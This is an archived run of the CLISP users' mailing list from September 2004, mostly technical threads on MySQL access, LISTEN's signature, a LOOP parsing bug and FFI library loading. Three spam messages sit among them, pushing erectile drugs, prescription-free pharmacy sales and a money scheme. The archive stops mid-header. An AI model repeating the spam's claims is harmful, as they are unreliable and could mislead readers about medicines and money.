rv:1.8a3) Gecko/20040817 X-Accept-Language: de, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: MySQL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 21 14:00:06 2004 X-Original-Date: Tue, 21 Sep 2004 22:59:34 +0200 Sam Steingold schrieb: > Is anyone using MySQL with CLISP? How? > Is there a socket-level (as opposed to FFI) interface to MySQL? > (similar to pg-dot-lisp http://www.chez.com/emarsden/downloads/) Considering the frequent changes in the client protocol (postgresql also), I would prefer using the FFI (or static binding) to the client lib. Esp. since mysql has three concurrent branches: 4.0, 4.1 and 5.x From lisp-clisp-list@m.gmane.org Tue Sep 21 15:51:16 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9tTf-0007Ha-GP for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 15:51:15 -0700 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1C9tTe-0006Y7-Pu for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 15:51:15 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1C9tTc-0006rG-00 for ; Wed, 22 Sep 2004 00:51:12 +0200 Received: from 62-99-252-218.c-gmitte.xdsl-line.inode.at ([62.99.252.218]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 22 Sep 2004 00:51:12 +0200 Received: from rurban by 62-99-252-218.c-gmitte.xdsl-line.inode.at with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 22 Sep 2004 00:51:12 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Reini Urban Lines: 19 Message-ID: <41509E2B.7040707@x-ray.at> References: <200409212154.02606.bruno@clisp.org> Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 62-99-252-218.c-gmitte.xdsl-line.inode.at User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a3) Gecko/20040817 X-Accept-Language: de, en In-Reply-To: <200409212154.02606.bruno@clisp.org> X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: cvs build fails, case-sensitivity problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 21 15:52:06 2004 X-Original-Date: Tue, 21 Sep 2004 23:33:31 +0200 Bruno Haible schrieb: > Reini Urban writes: >>[1]> (make-package :km :case-sensitive t) >># >>[2]> (in-package :km) >># >>KM[3]> (defun xx ()(print 'ok)) > > The next clisp version will contain an implementation of > http://www-jcsu.jesus.cam.ac.uk/~csr21/papers/lightning/lightning.html#htoc4 > > Is that what you are looking for? Yes. I thought clisp already has this described implementation from your presentation, since it is in the impnotes: (make-package :case-sensitive t) I see for example that the new ffi'ed WIN32 package successfully uses it. I'd need exactly the same. From rurban@x-ray.at Tue Sep 21 16:20:09 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9tvZ-0004Th-O4 for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 16:20:05 -0700 Received: from smartmx-06.inode.at ([213.229.60.38]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1C9tvX-0002UJ-2t for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 16:20:05 -0700 Received: from [62.99.252.218] (port=64422 helo=[192.168.0.2]) by smartmx-06.inode.at with esmtp (Exim 4.30) id 1C9tvS-00050u-M1 for clisp-list@lists.sourceforge.net; Wed, 22 Sep 2004 01:19:58 +0200 Message-ID: <4150B71D.9080309@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a3) Gecko/20040817 X-Accept-Language: de, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] (listen arg0 arg1) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 21 16:21:25 2004 X-Original-Date: Wed, 22 Sep 2004 01:19:57 +0200 I'm confused: io.d and stream.d seem to define LISTEN according to the CLHS; one optional arg (LISTEN [input-stream]) but where is is this ADD-ON-SYSTEM-FUNCTION defined? and why? cygwin clisp-cvs: $ clisp-full -ansi -q -norc -c src/defsystem-3.x/defsystem.lisp ;; Loading file /cygdrive/h/.clisprc ... ;; Loaded file /cygdrive/h/.clisprc ;; Compiling file /usr/src/lisp/clocc/src/defsystem-3.x/defsystem.lisp ... WARNING in READ-CHAR-WAIT in lines 3459..3469 : LISTEN was called with 1 arguments, but it requires 2 arguments. $ clisp-full -i src/defsystem-3.x/defsystem.lisp [1]> (describe #'listen) # is a built-in system function. Argument list: (ARG0 ARG1). -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From sds@gnu.org Tue Sep 21 16:41:58 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9uGh-0007yk-C1 for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 16:41:55 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1C9uGg-0004Kj-P8 for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 16:41:55 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1C9uGf-0005sR-00; Tue, 21 Sep 2004 19:41:53 -0400 To: clisp-list@lists.sourceforge.net, Reini Urban Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4150B71D.9080309@x-ray.at> (Reini Urban's message of "Wed, 22 Sep 2004 01:19:57 +0200") References: <4150B71D.9080309@x-ray.at> Mail-Followup-To: clisp-list@lists.sourceforge.net, Reini Urban Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: (listen arg0 arg1) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 21 16:42:10 2004 X-Original-Date: Tue, 21 Sep 2004 19:41:52 -0400 > * Reini Urban [2004-09-22 01:19:57 +0200]: > > I'm confused: > > io.d and stream.d seem to define LISTEN according to the CLHS; > one optional arg > (LISTEN [input-stream]) > but where is is this ADD-ON-SYSTEM-FUNCTION defined? and why? > > cygwin clisp-cvs: > > $ clisp-full -ansi -q -norc -c src/defsystem-3.x/defsystem.lisp > ;; Loading file /cygdrive/h/.clisprc ... > ;; Loaded file /cygdrive/h/.clisprc > ;; Compiling file /usr/src/lisp/clocc/src/defsystem-3.x/defsystem.lisp ... > WARNING in READ-CHAR-WAIT in lines 3459..3469 : > LISTEN was called with 1 arguments, but it requires 2 arguments. > > $ clisp-full -i src/defsystem-3.x/defsystem.lisp > [1]> (describe #'listen) > > # is a built-in system function. > Argument list: (ARG0 ARG1). I don't know what "clisp-full" is. try to figure out what package LISTEN is in. (apparently some module redefines it) -- Sam Steingold (http://www.podval.org/~sds) running w2k Garbage In, Gospel Out From schrein@umeg.de Thu Sep 23 04:23:16 2004 Received: from [10.3.1.12] (helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CARgy-0002kN-2H for clisp-list@lists.sourceforge.net; Thu, 23 Sep 2004 04:23:16 -0700 Received: from firewall.umeg.de ([212.86.206.149]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CARgx-0005Kv-8k for clisp-list@lists.sourceforge.net; Thu, 23 Sep 2004 04:23:16 -0700 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: 'success story' Thread-Index: AcShX6oOslKZKSpIR3iEWT9v1ekIqw== From: "Schrein, Thomas" To: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] 'success story' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 23 04:24:08 2004 X-Original-Date: Thu, 23 Sep 2004 13:23:21 +0200 From cbloomhs@mailserv.mta.ca Sat Sep 25 16:19:37 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CBLpI-0005oB-TY for clisp-list@lists.sourceforge.net; Sat, 25 Sep 2004 16:19:36 -0700 Received: from [219.241.134.158] (helo=e-sim.co.il) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1CBLpC-0001rA-Rt for clisp-list@lists.sourceforge.net; Sat, 25 Sep 2004 16:19:36 -0700 Received: from 42.113.92.222 by smtp.mailserv.mta.ca; Sat, 25 Sep 2004 23:21:26 +0000 Message-ID: <54ac01c4a356$8ee70ab6$6a80080b@e-sim.co.il> From: "Carlene Bloom" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 4.2 (++++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [219.241.134.158 listed in dnsbl.sorbs.net] 1.6 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [219.241.134.158 listed in combined.njabl.org] 1.5 DRUGS_ERECTILE_OBFU Obfuscated reference to an erectile drug 1.0 DRUGS_ERECTILE Refers to an erectile drug Subject: [clisp-list] New! Vìagra soft tabs. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Sep 25 16:21:46 2004 X-Original-Date: Sun, 26 Sep 2004 00:21:07 +0100 Hello! We would like to offer V_I_A_G_R_A soft tabs, These pills are just like regular Vìagra but they are specially formulated to be soft and dissolvable under the tongue. The pill is absorbed at the mouth and enters the bloodstream directly instead of going through the stomach. This results in a faster more powerful effect which lasts as long as the normal. Soft Tabs also have less sidebacks (you can drive or mix alcohol drinks with them). You can get it at: http://888-luvu.com/st/?coupon No thanks: http://888-luvu.com/rm.html From maude.nielsen_mn@teva.co.il Sun Sep 26 04:24:03 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CBX8L-0000os-Mi for clisp-list@lists.sourceforge.net; Sun, 26 Sep 2004 04:24:01 -0700 Received: from [218.149.111.95] (helo=luisp.fi) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CBX8K-0003CS-ES for clisp-list@lists.sourceforge.net; Sun, 26 Sep 2004 04:24:01 -0700 Received: from 206.116.249.120 by smtp.teva.co.il; Sun, 26 Sep 2004 11:28:17 +0000 Message-ID: From: "Maude Nielsen" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 2.7 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [218.149.111.95 listed in dnsbl.sorbs.net] 1.6 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [218.149.111.95 listed in combined.njabl.org] 1.0 RCVD_IN_RFCI RBL: Sent via a relay in ipwhois.rfc-ignorant.org [$ has inaccurate or missing WHOIS data at the] [RIR] Subject: [clisp-list] Large selection of drugs for a fraction of the cost Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Sep 26 04:28:51 2004 X-Original-Date: Sun, 26 Sep 2004 09:28:17 -0200 Hello there, We have the exact same drugs as the ordinary pharmacies. The difference? From us you get it for a fraction of the cost! - Large selection of drugs! - No Prescription Required! - World Wide Shipping! - Private Online ordering! Go here: http://www.onklenter.info/2/?wid=200014 No thanks: http://www.onklenter.info/nomore.html From PAQG60@yahoo.es Mon Sep 27 17:41:36 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CC63f-0004Vt-Lc for clisp-list@lists.sourceforge.net; Mon, 27 Sep 2004 17:41:31 -0700 Received: from mail02.etb.net.co ([63.171.232.175] helo=smtp02bg.007mundo.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CC63f-0002GO-2H for clisp-list@lists.sourceforge.net; Mon, 27 Sep 2004 17:41:31 -0700 x-ETB-scan: PRC VAC thread-index: AcSk9FGIrpzrCWSYRzmucqG8HIH2gQ== Received: from paqg ([200.119.58.22]) by smtp02bg.007mundo.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 27 Sep 2004 19:44:31 -0500 To: Content-Class: urn:content-classes:message Importance: normal Priority: normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 From: "Pablo Q." MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 8bit Message-ID: X-OriginalArrivalTime: 28 Sep 2004 00:44:31.0964 (UTC) FILETIME=[518199C0:01C4A4F4] X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] Necesitas dinero??..trabaja con un novedoso sistema a prueba de trampas. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 27 17:49:24 2004 X-Original-Date: Mon, 27 Sep 2004 19:42:27 -0500 Hola, te invito a ser miembro del más sencillo, potente, global sistema de construcción de riqueza. Si quieres mayor información, solo tienes que reenviar este mensaje y con gusto te respondere. Saludos Pablo Quintero Tu dirección fue obtenida de un sitio público en Internet, mi intención es informarte de mi propuesta, te pido disculpas si no es de tu interés. Este mensaje en ningun momento pretende perjudicarte, no contiene gusanos, ni nigun tipo de virus. Este mail se te envía por única vez. From kon@iki.fi Mon Sep 27 08:27:27 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CBxPQ-0006Id-T1 for clisp-list@lists.sourceforge.net; Mon, 27 Sep 2004 08:27:24 -0700 Received: from addr-213-216-217-78.suomi.net ([213.216.217.78] helo=Astalo.kon.iki.fi) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1CBxPO-000707-Av for clisp-list@lists.sourceforge.net; Mon, 27 Sep 2004 08:27:24 -0700 Received: from kalle by Astalo.kon.iki.fi with local (Exim 4.34) id 1CBxOs-0000Gy-Dd; Mon, 27 Sep 2004 18:26:50 +0300 To: clisp-list@lists.sourceforge.net X-Accept-Language: fi;q=1.0, en;q=0.9, sv;q=0.5, de;q=0.1 From: Kalle Olavi Niemitalo Message-ID: <87k6ufzqa5.fsf@Astalo.kon.iki.fi> MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha1; protocol="application/pgp-signature" X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] CLISP 2.33.2 parses (loop 42) as a simple loop. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 27 18:57:07 2004 X-Original-Date: Mon, 27 Sep 2004 18:26:42 +0300 --=-=-= In CLISP 2.33.2, (loop 42) and (loop :hello) are infinite loops. CLISP parses them as simple loops that just evaluate the constants repeatedly. However, according to CLHS sections 6.1.1.1.1 and 6.1.1.1.2, they should be parsed as extended loops and then presumably rejected as invalid. (CLISP might have an extension that gives a meaning to such loops, but I didn't see any such in the implementation notes.) This is in clisp-2.33.2/src/loop.lisp. DEFMACRO LOOP considers the loop an extended one if (some #'loop-keywordp body). The check should be (some #'atom body) instead. If this behavior is intentional, it is misguided as it may hinder future extensions to LOOP. If a program written now does (loop foo) and FOO is later defined as a LOOP keyword, the meaning of the form in CLISP will change. Such unexpected changes may discourage people wanting to extend LOOP with new keywords. --=-=-= Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQBBWDE6Hm9IGt60eMgRAoQbAJ4jaBF3bGXfzywb3qIq8U64zpkc4gCfUhZb vbnBebntk8LXI1OQgl644co= =EvfJ -----END PGP SIGNATURE----- --=-=-=-- From ortmage@gmx.net Tue Sep 28 09:58:19 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CCLIp-0005W7-FI for clisp-list@lists.sourceforge.net; Tue, 28 Sep 2004 09:58:11 -0700 Received: from pop.gmx.net ([213.165.64.20] helo=mail.gmx.net) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1CCLIo-0000Qi-Bk for clisp-list@lists.sourceforge.net; Tue, 28 Sep 2004 09:58:10 -0700 Received: (qmail 20322 invoked by uid 65534); 28 Sep 2004 16:57:59 -0000 Received: from c-67-173-253-16.client.comcast.net (EHLO [192.168.0.101]) (67.173.253.16) by mail.gmx.net (mp018) with SMTP; 28 Sep 2004 18:57:59 +0200 X-Authenticated: #9558537 Message-ID: <41599814.4050606@gmx.net> From: Scott Williams User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20040924 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net X-Enigmail-Version: 0.86.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] ffi: dynamic libraries with dependencies? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 28 10:04:15 2004 X-Original-Date: Tue, 28 Sep 2004 10:57:56 -0600 I'm trying to do some work with gtk using the clisp ffi. When I start clisp and type [14]> (def-call-out gdk_get_display (:library "libgdk.so") (:return-type c-string)) GDK_GET_DISPLAY [15]> (gdk_get_display) ":0.0" [16]> (def-call-out gtk_true (:library "libgtk.so") (:return-type boolean)) *** - FFI::FOREIGN-LIBRARY: Cannot open library "libgtk.so": "/usr/lib/libgtk.so: undefined symbol: gdk_root_window" libgdk.so exports gdk_root_window. How can I make clisp realize that libgdk is already loaded? Or, even better, how can I get clisp to load libgdk for me, so I don't have this useless gdk_get_display function? -- Scott Williams From sds@gnu.org Tue Sep 28 10:39:02 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CCLwA-0007LU-6Q for clisp-list@lists.sourceforge.net; Tue, 28 Sep 2004 10:38:50 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CCLw8-00021j-BQ for clisp-list@lists.sourceforge.net; Tue, 28 Sep 2004 10:38:50 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i8SHcTdE023345; Tue, 28 Sep 2004 13:38:30 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Kalle Olavi Niemitalo Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <87k6ufzqa5.fsf@Astalo.kon.iki.fi> (Kalle Olavi Niemitalo's message of "Mon, 27 Sep 2004 18:26:42 +0300") References: <87k6ufzqa5.fsf@Astalo.kon.iki.fi> Mail-Followup-To: clisp-list@lists.sourceforge.net, Kalle Olavi Niemitalo Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: CLISP 2.33.2 parses (loop 42) as a simple loop. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 28 10:47:22 2004 X-Original-Date: Tue, 28 Sep 2004 13:38:29 -0400 > * Kalle Olavi Niemitalo [2004-09-27 18:26:42 +0300]: > > In CLISP 2.33.2, (loop 42) and (loop :hello) are infinite loops. thanks - fixed in the CVS. -- Sam Steingold (http://www.podval.org/~sds) running w2k Every day above ground is a good day. From wmikanik@vega.iinf.polsl.gliwice.pl Wed Sep 29 02:27:51 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CCakY-0008S9-RN for clisp-list@lists.sourceforge.net; Wed, 29 Sep 2004 02:27:50 -0700 Received: from vega.iinf.polsl.gliwice.pl ([157.158.77.4]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CCakX-0003lb-1L for clisp-list@lists.sourceforge.net; Wed, 29 Sep 2004 02:27:50 -0700 Received: from vega.iinf.polsl.gliwice.pl (localhost [127.0.0.1]) by vega.iinf.polsl.gliwice.pl (8.10.0/8.10.0) with ESMTP id i8T9JKB22752 for ; Wed, 29 Sep 2004 11:19:20 +0200 (MET DST) Message-Id: <200409290919.i8T9JKB22752@vega.iinf.polsl.gliwice.pl> X-Mailer: exmh version 2.0zeta 7/24/97 To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: Wojciech Mikanik X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] How to create large (>=500MB) arrays and hash tables? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 